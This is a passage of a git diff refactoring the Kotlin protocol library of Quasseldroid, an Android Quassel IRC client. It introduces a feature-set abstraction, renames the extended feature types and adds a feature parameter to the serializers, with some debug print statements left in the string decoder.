diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/connection/ProtocolInfoSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/connection/ProtocolInfoSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..db699001ac4c963bbf2b958749070583e101d601
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/connection/ProtocolInfoSerializer.kt
@@ -0,0 +1,42 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.connection
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.serializers.primitive.UByteSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.UShortSerializer
+import java.nio.ByteBuffer
+
+object ProtocolInfoSerializer {
+  fun serialize(buffer: ChainedByteBuffer, data: ProtocolInfo, featureSet: FeatureSet) {
+    UByteSerializer.serialize(buffer, data.flags, featureSet)
+    UShortSerializer.serialize(buffer, data.data, featureSet)
+    UByteSerializer.serialize(buffer, data.version, featureSet)
+  }
+
+  fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): ProtocolInfo {
+    return ProtocolInfo(
+      UByteSerializer.deserialize(buffer, featureSet),
+      UShortSerializer.deserialize(buffer, featureSet),
+      UByteSerializer.deserialize(buffer, featureSet)
+    )
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/features/FeatureSet.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/FeatureSet.kt
new file mode 100644
index 0000000000000000000000000000000000000000..9ea9379f526e95db5da11625279c2a62d707aa8f
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/FeatureSet.kt
@@ -0,0 +1,59 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.features
+
+import de.kuschku.bitflags.flags
+
+class FeatureSet internal constructor(
+  private val features: Set<QuasselFeature>,
+  private val additional: Set<QuasselFeatureName> = emptySet()
+) {
+  fun enabled(feature: QuasselFeature) = features.contains(feature)
+
+  fun featureList(): List<QuasselFeatureName> =
+    features.map(QuasselFeature::feature) + additional
+
+  fun legacyFeatures(): LegacyFeatures =
+    flags(features.mapNotNull(LegacyFeature.Companion::get))
+
+  companion object {
+    fun parse(
+      legacy: LegacyFeatures,
+      features: Collection<QuasselFeatureName>
+    ) = FeatureSet(
+      features = parseFeatures(legacy) + parseFeatures(features),
+      additional = unknownFeatures(features)
+    )
+
+    fun build(vararg features: QuasselFeature) = FeatureSet(features.toSet())
+    fun build(features: Set<QuasselFeature>) = FeatureSet(features)
+    fun all() = build(*QuasselFeature.values())
+    fun empty() = build()
+
+    private fun parseFeatures(features: LegacyFeatures) =
+      features.map(LegacyFeature::feature).toSet()
+
+    private fun parseFeatures(features: Collection<QuasselFeatureName>) =
+      features.mapNotNull(QuasselFeature.Companion::valueOf).toSet()
+
+    private fun unknownFeatures(features: Collection<QuasselFeatureName>) =
+      features.filter { QuasselFeature.valueOf(it) == null }.toSet()
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/features/LegacyFeature.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/LegacyFeature.kt
index 362e6b6dd3e46c457f497ebd15d84941b7832d1a..eefd1480561b6469eba509c78069c9afe45b2347 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/features/LegacyFeature.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/LegacyFeature.kt
@@ -31,35 +31,41 @@ import de.kuschku.bitflags.Flags
  *
  * This list should be cleaned up after every protocol break, as we can assume them to be present then.
  */
-enum class LegacyFeature(override val value: UInt): Flag<UInt> {
-  SynchronizedMarkerLine(0x0001u),
-  SaslAuthentication(0x0002u),
-  SaslExternal(0x0004u),
-  HideInactiveNetworks(0x0008u),
-  PasswordChange(0x0010u),
+enum class LegacyFeature(
+  override val value: UInt,
+  val feature: QuasselFeature,
+): Flag<UInt> {
+  SynchronizedMarkerLine(0x0001u, QuasselFeature.SynchronizedMarkerLine),
+  SaslAuthentication(0x0002u, QuasselFeature.SaslAuthentication),
+  SaslExternal(0x0004u, QuasselFeature.SaslExternal),
+  HideInactiveNetworks(0x0008u, QuasselFeature.HideInactiveNetworks),
+  PasswordChange(0x0010u, QuasselFeature.PasswordChange),
   /** IRCv3 capability negotiation, account tracking */
-  CapNegotiation(0x0020u),
+  CapNegotiation(0x0020u, QuasselFeature.CapNegotiation),
   /** IRC server SSL validation */
-  VerifyServerSSL(0x0040u),
+  VerifyServerSSL(0x0040u, QuasselFeature.VerifyServerSSL),
   /** IRC server custom message rate limits */
-  CustomRateLimits(0x0080u),
-  DccFileTransfer(0x0100u),
+  CustomRateLimits(0x0080u, QuasselFeature.CustomRateLimits),
+  DccFileTransfer(0x0100u, QuasselFeature.DccFileTransfer),
   /** Timestamp formatting in away (e.g. %%hh:mm%%) */
-  AwayFormatTimestamp(0x0200u),
+  AwayFormatTimestamp(0x0200u, QuasselFeature.AwayFormatTimestamp),
   /** Whether or not the core supports auth backends. */
-  Authenticators(0x0400u),
+  Authenticators(0x0400u, QuasselFeature.Authenticators),
   /** Sync buffer activity status */
-  BufferActivitySync(0x0800u),
+  BufferActivitySync(0x0800u, QuasselFeature.BufferActivitySync),
   /** Core-Side highlight configuration and matching */
-  CoreSideHighlights(0x1000u),
+  CoreSideHighlights(0x1000u, QuasselFeature.CoreSideHighlights),
   /** Show prefixes for senders in backlog */
-  SenderPrefixes(0x2000u),
+  SenderPrefixes(0x2000u, QuasselFeature.SenderPrefixes),
   /** Supports RPC call disconnectFromCore to remotely disconnect a client */
-  RemoteDisconnect(0x4000u),
+  RemoteDisconnect(0x4000u, QuasselFeature.RemoteDisconnect),
   /** Transmit features as list of strings */
-  ExtendedFeatures(0x8000u);
+  ExtendedFeatures(0x8000u, QuasselFeature.ExtendedFeatures);
 
   companion object : Flags<UInt, LegacyFeature> {
+    private val features = values().associateBy(LegacyFeature::feature)
+    fun get(feature: QuasselFeature) = features[feature]
+
     private val values = values().associateBy(LegacyFeature::value)
     override fun get(value: UInt) = values[value]
     override fun all() = values.values
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/features/ExtendedFeature.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/QuasselFeature.kt
similarity index 87%
rename from protocol/src/main/java/de/kuschku/libquassel/protocol/features/ExtendedFeature.kt
rename to protocol/src/main/java/de/kuschku/libquassel/protocol/features/QuasselFeature.kt
index f5cd94c1ea83a293b2fac96665655a539d037276..e827769a9fb5a2172e9d732d833bcf208d3e3811 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/features/ExtendedFeature.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/features/QuasselFeature.kt
@@ -19,11 +19,11 @@
 
 package de.kuschku.libquassel.protocol.features
 
-inline class ExtendedFeatureName(
+inline class QuasselFeatureName(
   val name: String,
 )
 
-enum class ExtendedFeature {
+enum class QuasselFeature {
   SynchronizedMarkerLine,
   SaslAuthentication,
   SaslExternal,
@@ -64,5 +64,11 @@ enum class ExtendedFeature {
   /** CoreInfo dynamically updated using signals */
   SyncedCoreInfo;
 
-  fun feature(): ExtendedFeatureName = ExtendedFeatureName(name)
+  val feature = QuasselFeatureName(name)
+
+  companion object {
+    private val values = values().associateBy(QuasselFeature::feature)
+    @JvmStatic
+    fun valueOf(name: QuasselFeatureName): QuasselFeature? = values[name]
+  }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ByteBufferUtil.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ByteBufferUtil.kt
new file mode 100644
index 0000000000000000000000000000000000000000..b2e8f7c4ce86a4d1fec34cda44cff24d3152291d
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ByteBufferUtil.kt
@@ -0,0 +1,69 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.io
+
+import java.nio.ByteBuffer
+
+fun copyData(from: ByteBuffer, to: ByteBuffer, amount: Int = -1) {
+  val actualAmount =
+    if (amount >= 0) minOf(from.remaining(), to.remaining(), amount)
+    else minOf(from.remaining(), to.remaining())
+  for (i in 0 until actualAmount) {
+    to.put(from.get())
+  }/*
+  if (actualAmount > 0) {
+    val fromLimit = from.limit()
+    val toLimit = to.limit()
+    from.limit(from.position() + actualAmount)
+    to.limit(to.position() + actualAmount)
+    to.put(from)
+    from.limit(fromLimit)
+    to.limit(toLimit)
+  }
+  */
+}
+
+val alphabet = charArrayOf(
+  '0', '1', '2', '3', '4', '5', '6', '7',
+  '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+)
+
+fun ByteBuffer.contentToString(): String {
+  mark()
+  var result = ""
+  while (remaining() > 0) {
+    val byte = get()
+    val upperNibble = byte.toInt() shr 4
+    val lowerNibble = byte.toInt() % 16
+    result += alphabet[(upperNibble + 16) % 16]
+    result += alphabet[(lowerNibble + 16) % 16]
+  }
+  reset()
+  return result
+}
+
+fun ByteBuffer.print() = println(contentToString())
+
+fun copyData(from: ByteBuffer, amount: Int) = ByteBuffer.allocateDirect(amount).also {
+  if (amount > 0) {
+    copyData(from, it, amount)
+    it.clear()
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ChainedByteBuffer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ChainedByteBuffer.kt
index ac9622e7d11601c05cdab05ad84166009244e3a2..88e6997edbb0240361ff03df4a9e5b7bcc23e118 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ChainedByteBuffer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/ChainedByteBuffer.kt
@@ -48,9 +48,14 @@ class ChainedByteBuffer(private val bufferSize: Int = 1024, private val direct:
     this.size += size
   }
 
-  fun nextBuffer(length: Int = 1): ByteBuffer {
+  fun <T> withBuffer(length: Int = 0, f: (ByteBuffer) -> T) : T{
     ensureSpace(length)
-    return bufferList.last()
+    val buffer = bufferList.last()
+    val positionBefore = buffer.position()
+    val result = f(buffer)
+    val positionAfter = buffer.position()
+    size += (positionAfter - positionBefore)
+    return result
   }
 
   fun put(value: Byte) {
@@ -99,15 +104,7 @@ class ChainedByteBuffer(private val bufferSize: Int = 1024, private val direct:
     ensureSpace(value.remaining())
 
     while (value.remaining() > 0) {
-      val buffer = bufferList.last()
-      if (buffer.remaining() >= value.remaining()) {
-        buffer.put(value)
-      } else {
-        val oldLimit = value.limit()
-        value.limit(value.position() + buffer.remaining())
-        buffer.put(value)
-        value.limit(oldLimit)
-      }
+      copyData(value, bufferList.last())
     }
   }
 
@@ -124,12 +121,16 @@ class ChainedByteBuffer(private val bufferSize: Int = 1024, private val direct:
   fun buffers() = sequence {
     for (buffer in bufferList) {
       buffer.flip()
+      val position = buffer.position()
+      val limit = buffer.limit()
       yield(buffer)
+      buffer.position(position)
+      buffer.limit(limit)
     }
   }
 
   fun toBuffer(): ByteBuffer {
-    val byteBuffer = allocate(size)
+    val byteBuffer = allocate(bufferSize * bufferList.size)
     for (buffer in bufferList) {
       buffer.flip()
       byteBuffer.put(buffer)
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/io/StringEncoder.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/StringEncoder.kt
index d86c16efa05d36b2b659f61792da6ffb084152a6..280f7b0a936402664ded2f37ee05334d05ff279a 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/io/StringEncoder.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/io/StringEncoder.kt
@@ -30,59 +30,75 @@ class StringEncoder(charset: Charset) {
   private val charBuffer = CharBuffer.allocate(1024)
 
   private fun charBuffer(length: Int): CharBuffer =
-    if (length < 1024) charBuffer
+    if (length < 1024) charBuffer.clear()
     else CharBuffer.allocate(length)
 
-  private fun encodingLength(length: Int, nullLimited: Boolean) =
-    if (nullLimited) length + 1
-    else length
-
-  private fun decodingLength(length: Int, nullLimited: Boolean) =
-    if (nullLimited) length - 1
-    else length
-
-  fun encode(data: String?, target: ChainedByteBuffer, nullLimited: Boolean = false) {
+  fun encode(data: String?, target: ChainedByteBuffer) {
     if (data == null) return
 
-    val charBuffer = charBuffer(encodingLength(data.length, nullLimited))
+    val charBuffer = charBuffer(data.length)
     charBuffer.put(data)
-    if (nullLimited) charBuffer.put(0.toChar())
     charBuffer.flip()
     encoder.reset()
     var result: CoderResult
     do {
-      result = encoder.encode(charBuffer, target.nextBuffer(data.length), true)
+      result = target.withBuffer(charBuffer.remaining()) {
+        encoder.encode(charBuffer, it, true)
+      }
     } while (result == CoderResult.OVERFLOW)
   }
 
-  fun encode(data: String?, nullLimited: Boolean = false): ByteBuffer {
-    if (data == null) return ByteBuffer.allocate(0)
+  fun encode(data: String?): ByteBuffer {
+    if (data == null) {
+      return ByteBuffer.allocateDirect(0)
+    }
 
-    val charBuffer = charBuffer(encodingLength(data.length, nullLimited))
+    val charBuffer = charBuffer(data.length)
     charBuffer.put(data)
-    if (nullLimited) charBuffer.put(0.toChar())
     charBuffer.flip()
     encoder.reset()
     return encoder.encode(charBuffer)
   }
 
-  fun decode(source: ByteBuffer, length: Int, nullLimited: Boolean = false): String {
-    val charBuffer = charBuffer(decodingLength(length, nullLimited))
+  fun encodeChar(data: Char?, target: ChainedByteBuffer) {
+    if (data == null) {
+      target.putShort(0)
+    } else {
+      target.putChar(data)
+    }
+  }
+
+  fun decode(source: ByteBuffer, length: Int): String {
+    val charBuffer = charBuffer(length)
     val oldlimit = source.limit()
-    source.limit(decodingLength(source.position() + length, nullLimited))
+    source.limit(source.position() + length)
     decoder.reset()
-    decoder.decode(source, charBuffer, true)
+    decoder.decode(source, charBuffer, true).also {
+      if (it.isError) {
+        source.position(source.position() + it.length())
+      }
+    }
     source.limit(oldlimit)
     charBuffer.flip()
     return charBuffer.toString()
   }
 
-  fun decode(source: ByteBuffer, nullLimited: Boolean = false): String {
-    val charBuffer = charBuffer(decodingLength(source.remaining(), nullLimited))
-    source.limit(decodingLength(source.capacity(), nullLimited))
+  fun decode(source: ByteBuffer): String {
+    println("Called to decode ${source.contentToString()}")
+    val charBuffer = charBuffer(source.remaining())
     decoder.reset()
-    decoder.decode(source, charBuffer, true)
+    decoder.decode(source, charBuffer, true).also {
+      if (it.isError) {
+        println("Encountered error: $it")
+        source.position(source.position() + it.length())
+      }
+    }
     charBuffer.flip()
+    println("Result: $charBuffer")
     return charBuffer.toString()
   }
+
+  fun decodeChar(source: ByteBuffer): Char {
+    return source.getChar()
+  }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInit.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInit.kt
index 7bc0a07b558bbfbfbdc6b8b32e4c39e18c7f15db..433f354b0e8dac0a2c1a84fe301178cc870b3288 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInit.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInit.kt
@@ -20,11 +20,11 @@
 package de.kuschku.libquassel.protocol.messages.handshake
 
 import de.kuschku.libquassel.protocol.features.LegacyFeatures
-import de.kuschku.libquassel.protocol.features.ExtendedFeatureName
+import de.kuschku.libquassel.protocol.features.QuasselFeatureName
 
 data class ClientInit(
   val clientVersion: String?,
   val buildDate: String?,
   val clientFeatures: LegacyFeatures,
-  val featureList: List<ExtendedFeatureName>
+  val featureList: List<QuasselFeatureName>
 )
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInitAck.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInitAck.kt
index cd2e16d444d7996de05061dca866f77e67b91998..ec75b1dba2252c048941876926a0463ebaa008fb 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInitAck.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/messages/handshake/ClientInitAck.kt
@@ -19,14 +19,14 @@
 
 package de.kuschku.libquassel.protocol.messages.handshake
 
-import de.kuschku.libquassel.protocol.features.ExtendedFeatureName
 import de.kuschku.libquassel.protocol.features.LegacyFeatures
+import de.kuschku.libquassel.protocol.features.QuasselFeatureName
 import de.kuschku.libquassel.protocol.variant.QVariantList
 
 data class ClientInitAck(
-        val coreFeatures: LegacyFeatures,
-        val coreConfigured: Boolean?,
-        val backendInfo: QVariantList,
-        val authenticatorInfo: QVariantList,
-        val featureList: List<ExtendedFeatureName>
+  val coreFeatures: LegacyFeatures,
+  val coreConfigured: Boolean?,
+  val backendInfo: QVariantList,
+  val authenticatorInfo: QVariantList,
+  val featureList: List<QuasselFeatureName>
 )
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitAckSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitAckSerializer.kt
index 76b74d167ace1d8a1dc6eb9d99cdd5a25e8f9166..b9754ccff75ea5091865b465ebac543b3c3beba2 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitAckSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitAckSerializer.kt
@@ -21,7 +21,7 @@ package de.kuschku.libquassel.protocol.serializers.handshake
 
 import de.kuschku.bitflags.toBits
 import de.kuschku.bitflags.toFlag
-import de.kuschku.libquassel.protocol.features.ExtendedFeatureName
+import de.kuschku.libquassel.protocol.features.QuasselFeatureName
 import de.kuschku.libquassel.protocol.features.LegacyFeature
 import de.kuschku.libquassel.protocol.messages.handshake.ClientInitAck
 import de.kuschku.libquassel.protocol.variant.*
@@ -42,6 +42,7 @@ object ClientInitAckSerializer : HandshakeSerializer<ClientInitAck> {
     authenticatorInfo = data["Authenticators"].into(emptyList()),
     coreConfigured = data["Configured"].into(),
     featureList = data["FeatureList"].into<QStringList>(emptyList())
-      .map(::ExtendedFeatureName),
+      .filterNotNull()
+      .map(::QuasselFeatureName),
   )
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializer.kt
index cb44de100afc62e6e88876cf7de2cb4ff2f46c16..91488db6fa06b8dca21aa6c178aad545f0310a08 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializer.kt
@@ -21,7 +21,7 @@ package de.kuschku.libquassel.protocol.serializers.handshake
 
 import de.kuschku.bitflags.toBits
 import de.kuschku.bitflags.toFlag
-import de.kuschku.libquassel.protocol.features.ExtendedFeatureName
+import de.kuschku.libquassel.protocol.features.QuasselFeatureName
 import de.kuschku.libquassel.protocol.features.LegacyFeature
 import de.kuschku.libquassel.protocol.messages.handshake.ClientInit
 import de.kuschku.libquassel.protocol.variant.QVariantMap
@@ -36,7 +36,7 @@ object ClientInitSerializer : HandshakeSerializer<ClientInit> {
     "ClientDate" to qVariant(data.buildDate, QtType.QString),
     "Features" to qVariant(data.clientFeatures.toBits(), QtType.UInt),
     "FeatureList" to qVariant(
-      data.featureList.map(ExtendedFeatureName::name),
+      data.featureList.map(QuasselFeatureName::name),
       QtType.QStringList
     ),
   )
@@ -46,7 +46,7 @@ object ClientInitSerializer : HandshakeSerializer<ClientInit> {
       clientVersion = data["ClientVersion"].into(),
       buildDate = data["ClientDate"].into(),
       clientFeatures = LegacyFeature.toFlag(data["Features"].into<UInt>()),
-      featureList = data["FeatureList"].into(emptyList()),
+      featureList = data["FeatureList"].into(emptyList<String>()).map(::QuasselFeatureName),
     )
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/HandshakeMapSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/HandshakeMapSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..5a8484134632c01777e8b7a1e6d7dfa98dd51a7e
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/handshake/HandshakeMapSerializer.kt
@@ -0,0 +1,54 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.handshake
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.serializers.primitive.QVariantListSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.StringSerializerAscii
+import de.kuschku.libquassel.protocol.serializers.primitive.StringSerializerUtf8
+import de.kuschku.libquassel.protocol.variant.*
+import java.nio.ByteBuffer
+
+object HandshakeMapSerializer : QtSerializer<QVariantMap> {
+  override val qtType = QtType.QVariantMap
+  @Suppress("UNCHECKED_CAST")
+  override val javaType: Class<out QVariantMap> = Map::class.java as Class<QVariantMap>
+
+  override fun serialize(buffer: ChainedByteBuffer, data: QVariantMap, featureSet: FeatureSet) {
+    val list: QVariantList = data.entries.flatMap { (key, value) ->
+      val encodedKey = StringSerializerUtf8.serializeRaw(key)
+      listOf(qVariant(encodedKey, QtType.QByteArray), value)
+    }
+
+    QVariantListSerializer.serialize(buffer, list, featureSet)
+  }
+
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): QVariantMap {
+    val list = QVariantListSerializer.deserialize(buffer, featureSet)
+    return (list.indices step 2).map {
+      val encodedKey = list[it].into<ByteBuffer>(ByteBuffer.allocateDirect(0))
+      val value = list[it+1]
+
+      Pair(StringSerializerUtf8.deserializeRaw(encodedKey), value)
+    }.toMap()
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializer.kt
index c31721a499c2cf501010822d2e014ab7df6b4f19..0e0b73a6a2733210c97398126268faed1c44d858 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,14 +28,14 @@ object BoolSerializer : QtSerializer<Boolean> {
   override val qtType: QtType = QtType.Bool
   override val javaType: Class<Boolean> = Boolean::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: Boolean) {
+  override fun serialize(buffer: ChainedByteBuffer, data: Boolean, featureSet: FeatureSet) {
     buffer.put(
       if (data) 0x01.toByte()
       else 0x00.toByte()
     )
   }
 
-  override fun deserialize(buffer: ByteBuffer): Boolean {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Boolean {
     return buffer.get() != 0x00.toByte()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..1aa629ec7d273262f66c4c6dcd7e5479696fdbbf
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializer.kt
@@ -0,0 +1,49 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.copyData
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.variant.QtType
+import java.nio.ByteBuffer
+
+object ByteBufferSerializer : QtSerializer<ByteBuffer?> {
+  override val qtType: QtType = QtType.QByteArray
+  override val javaType: Class<out ByteBuffer?> = ByteBuffer::class.java
+
+  override fun serialize(buffer: ChainedByteBuffer, data: ByteBuffer?, featureSet: FeatureSet) {
+    IntSerializer.serialize(buffer, data?.remaining() ?: 0, featureSet)
+    if (data != null) {
+      buffer.put(data)
+    }
+  }
+
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): ByteBuffer? {
+    val length = IntSerializer.deserialize(buffer, featureSet)
+    if (length < 0) {
+      return null
+    }
+    val result = copyData(buffer, length)
+    result.limit(length)
+    return result
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializer.kt
index 7866c1bb1fc9d90b983c40bb200d182343a2c844..e996faf6e43370032f993b83a47e117c85a87915 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object ByteSerializer : QtSerializer<Byte> {
   override val qtType: QtType = QtType.Char
   override val javaType: Class<Byte> = Byte::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: Byte) {
+  override fun serialize(buffer: ChainedByteBuffer, data: Byte, featureSet: FeatureSet) {
     buffer.put(data)
   }
 
-  override fun deserialize(buffer: ByteBuffer): Byte {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Byte {
     return buffer.get()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializer.kt
index 2327a2ffae103ed7d683217f72d5d13f478e22e6..98a38bea7cf7b03af192980564a909e43c914cea 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
